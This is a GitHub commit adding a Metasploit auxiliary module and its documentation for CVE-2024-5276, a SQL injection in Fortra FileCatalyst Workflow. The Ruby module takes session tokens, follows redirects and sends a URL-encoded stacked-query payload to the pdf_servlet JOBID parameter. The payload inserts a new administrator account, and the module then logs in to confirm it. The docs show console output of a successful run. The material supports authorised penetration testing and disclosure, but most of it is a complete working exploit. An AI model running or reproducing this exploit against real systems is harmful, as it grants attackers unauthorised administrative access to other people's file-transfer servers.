Skip to content

Commit afd0f19

Browse files
committed
Land rapid7#19373, Fortra FileCatalyst Workflow SQL Injection
2 parents e4726e4 + 5a94869 commit afd0f19

File tree

2 files changed

+340
-0
lines changed

2 files changed

+340
-0
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Vulnerable Application
2+
3+
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135 (CVE-2024-5276), by adding a new
4+
administrative user to the web interface of the application.
5+
6+
The vendor published an advisory [here]
7+
(https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0)
8+
and [here](https://www.fortra.com/security/advisories/product-security/fi-2024-008).
9+
10+
The advisory from Tenable is available [here](https://www.tenable.com/security/research/tra-2024-25).
11+
12+
## Testing
13+
14+
The software can be obtained from the [vendor](https://www.goanywhere.com/products/filecatalyst/trial).
15+
16+
Deploy it by following the vendor's [installation guide]
17+
(https://filecatalyst.software/public/filecatalyst/Workflow/5.1.6.139/FileCatalyst_Web_Tomcat_Installation.pdf).
18+
19+
**Successfully tested on**
20+
21+
- Fortra FileCatalyst Workflow v5.1.6 (Build 135) on Windows 10 22H2
22+
- Fortra FileCatalyst Workflow v5.1.6 (Build 135) on Ubuntu 24.04 LTS
23+
24+
## Verification Steps
25+
26+
1. Deploy Fortra FileCatalyst Workflow <= v5.1.6 Build 135
27+
2. Start `msfconsole`
28+
3. `use auxiliary/admin/http/fortra_filecatalyst_workflow_sqli`
29+
4. `set RHOSTS <IP>`
30+
5. `set RPORT <PORT>`
31+
6. `set TARGETURI <URI>`
32+
7. `set NEW_USERNAME <username>`
33+
8. `set NEW_PASSWORD <password>`
34+
9. `run`
35+
10. A new admin user should have been successfully added.
36+
37+
## Options
38+
39+
### NEW_USERNAME
40+
Username to be used when creating a new user with admin privileges.
41+
42+
### NEW_PASSWORD
43+
Password to be used when creating a new user with admin privileges.
44+
45+
### NEW_EMAIL
46+
E-mail to be used when creating a new user with admin privileges.
47+
48+
## Scenarios
49+
50+
Running the module against FileCatalyst Workflow v5.1.6 (Build 135) on either Windows 10 22H2 or Ubuntu 24.04 LTS should result in an output
51+
similar to the following:
52+
53+
```
54+
msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > run
55+
[*] Running module against 192.168.137.195
56+
57+
[*] Starting SQL injection workflow...
58+
[+] Server reachable.
59+
[*] JSESSIONID value: CBD945F52F91E0F4354296C939BDABDE
60+
[*] FCWEB.FORM.TOKEN value: IvHIPuxllBiHOfXzLlaS
61+
[*] Redirect #1: /workflow/createNewJob.do?.rnd2=3324035&FCWEB.FORM.TOKEN=IvHIPuxllBiHOfXzLlaS
62+
[*] Redirect #2: /workflow/jsp/chooseOrderForm.jsp?.rnd2=3324040&FCWEB.FORM.TOKEN=IvHIPuxllBiHOfXzLlaS
63+
[*] Received expected response.
64+
[+] SQL injection successful!
65+
[*] Confirming credentials...
66+
[*] FCWEB.FORM.TOKEN value: IvHIPuxllBiHOfXzLlaS
67+
[+] Login successful!
68+
[+] New admin user was successfully injected:
69+
elroy:yodTwsPs
70+
[+] Login at: http://192.168.137.195:8080/workflow/jsp/logon.jsp
71+
[*] Auxiliary module execution completed
72+
```
Lines changed: 268 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,268 @@
1+
require 'digest/md5'
2+
3+
class MetasploitModule < Msf::Auxiliary
4+
include Msf::Exploit::Remote::HttpClient
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)',
11+
'Description' => %q{
12+
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new
13+
administrative user to the web interface of the application.
14+
},
15+
'Author' => [
16+
'Tenable', # Discovery and PoC
17+
'Michael Heinzl' # MSF Module
18+
],
19+
'References' => [
20+
['CVE', '2024-5276'],
21+
['URL', 'https://www.tenable.com/security/research/tra-2024-25'],
22+
['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0']
23+
],
24+
'DisclosureDate' => '2024-06-25',
25+
'DefaultOptions' => {
26+
'RPORT' => 8080
27+
},
28+
'License' => MSF_LICENSE,
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'Reliability' => [REPEATABLE_SESSION],
32+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
33+
}
34+
)
35+
)
36+
37+
register_options([
38+
OptString.new('TARGETURI', [true, 'Base path', '/']),
39+
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
40+
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]),
41+
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
42+
])
43+
end
44+
45+
def run
46+
print_status('Starting SQL injection workflow...')
47+
48+
res = send_request_cgi(
49+
'method' => 'GET',
50+
'uri' => normalize_uri(target_uri.path, 'workflow/')
51+
)
52+
53+
unless res
54+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
55+
end
56+
unless res.code == 200
57+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
58+
end
59+
print_good('Server reachable.')
60+
61+
raw_res = res.to_s
62+
unless raw_res =~ /JSESSIONID=(\w+);/
63+
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
64+
end
65+
66+
jsessionid = ::Regexp.last_match(1)
67+
print_status("JSESSIONID value: #{jsessionid}")
68+
69+
res = send_request_cgi(
70+
'method' => 'GET',
71+
'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
72+
'headers' => {
73+
'Cookie' => "JSESSIONID=#{jsessionid}"
74+
}
75+
)
76+
77+
unless res
78+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
79+
end
80+
81+
body = res.body
82+
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
83+
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
84+
end
85+
86+
token_value = ::Regexp.last_match(1)
87+
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
88+
89+
res = send_request_cgi(
90+
'method' => 'GET',
91+
'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
92+
'headers' => {
93+
'Cookie' => "JSESSIONID=#{jsessionid}"
94+
}
95+
)
96+
97+
unless res
98+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
99+
end
100+
101+
unless res.headers['Location']
102+
fail_with(Failure::UnexpectedReply, 'Location header not found.')
103+
end
104+
105+
location_value = res.headers['Location']
106+
print_status("Redirect #1: #{location_value}")
107+
108+
res = send_request_cgi(
109+
'method' => 'GET',
110+
'uri' => normalize_uri(target_uri.path, location_value.to_s),
111+
'headers' => {
112+
'Cookie' => "JSESSIONID=#{jsessionid}"
113+
}
114+
)
115+
116+
unless res
117+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
118+
end
119+
120+
unless res.headers['Location']
121+
fail_with(Failure::UnexpectedReply, 'Location header not found.')
122+
end
123+
124+
location_value = res.headers['Location']
125+
print_status("Redirect #2: #{location_value}")
126+
127+
res = send_request_cgi(
128+
'method' => 'GET',
129+
'uri' => normalize_uri(target_uri.path, location_value.to_s),
130+
'headers' => {
131+
'Cookie' => "JSESSIONID=#{jsessionid}"
132+
}
133+
)
134+
135+
unless res
136+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
137+
end
138+
139+
html = res.get_html_document
140+
h2_tag = html.at_css('h2')
141+
142+
unless h2_tag
143+
fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
144+
end
145+
146+
h2_text = h2_tag.text.strip
147+
unless h2_text == 'Choose an Order Type'
148+
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
149+
end
150+
151+
print_status('Received expected response.')
152+
153+
t = Time.now
154+
username = datastore['NEW_USERNAME']
155+
password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
156+
email = datastore['NEW_EMAIL']
157+
firstname = Faker::Name.first_name
158+
lastname = Faker::Name.last_name
159+
areacode = rand(100..999)
160+
exchangecode = rand(100..999)
161+
subscribernumber = rand(1000..9999)
162+
phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d',
163+
areacode: areacode,
164+
exchangecode: exchangecode,
165+
subscribernumber: subscribernumber)
166+
creation = "+#{t.strftime('%s%L')}"
167+
pw_creationdate = "+#{t.strftime('%s%L')}"
168+
lastlogin = "+#{t.strftime('%s%L')}"
169+
170+
vprint_status('Adding New Admin User:')
171+
vprint_status("\tUsername: #{username}")
172+
vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})")
173+
vprint_status("\tEmail: #{email}")
174+
vprint_status("\tFirstName: #{firstname}")
175+
vprint_status("\tLastName: #{lastname}")
176+
vprint_status("\tPhone: #{phone}")
177+
vprint_status("\tCreation: #{creation}")
178+
vprint_status("\tPW_CreationDate: #{pw_creationdate}")
179+
vprint_status("\tLastLogin: #{lastlogin}")
180+
181+
payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \
182+
'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \
183+
'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \
184+
'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \
185+
'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \
186+
'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \
187+
"PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \
188+
"%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \
189+
'%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \
190+
"%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \
191+
'%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \
192+
'%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \
193+
"%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-"
194+
195+
res = send_request_cgi(
196+
'method' => 'GET',
197+
'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"),
198+
'headers' => {
199+
'Cookie' => "JSESSIONID=#{jsessionid}"
200+
}
201+
)
202+
203+
unless res
204+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
205+
end
206+
207+
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200
208+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == ''
209+
print_good('SQL injection successful!')
210+
211+
print_status('Confirming credentials...')
212+
213+
res = send_request_cgi(
214+
'method' => 'GET',
215+
'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),
216+
'headers' => {
217+
'Cookie' => "JSESSIONID=#{jsessionid}"
218+
}
219+
)
220+
221+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
222+
223+
body = res.body
224+
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
225+
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
226+
end
227+
228+
token_value = ::Regexp.last_match(1)
229+
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
230+
231+
res = send_request_cgi(
232+
'method' => 'POST',
233+
'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),
234+
'headers' => {
235+
'Cookie' => "JSESSIONID=#{jsessionid}",
236+
'Content-Type' => 'application/x-www-form-urlencoded'
237+
},
238+
'vars_post' => {
239+
'username' => datastore['NEW_USERNAME'],
240+
'password' => datastore['NEW_PASSWORD'],
241+
'FCWEB.FORM.TOKEN' => token_value.to_s,
242+
'submit' => 'Login'
243+
}
244+
)
245+
246+
unless res
247+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
248+
end
249+
250+
html = res.get_html_document
251+
title_block = html.at_css('.titleBlock')
252+
253+
unless title_block
254+
fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')
255+
end
256+
title_text = title_block.text.strip
257+
258+
unless title_text.include?('Administration')
259+
fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
260+
end
261+
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
262+
print_good('Login successful!')
263+
264+
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
265+
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}")
266+
end
267+
268+
end

0 commit comments

Comments
 (0)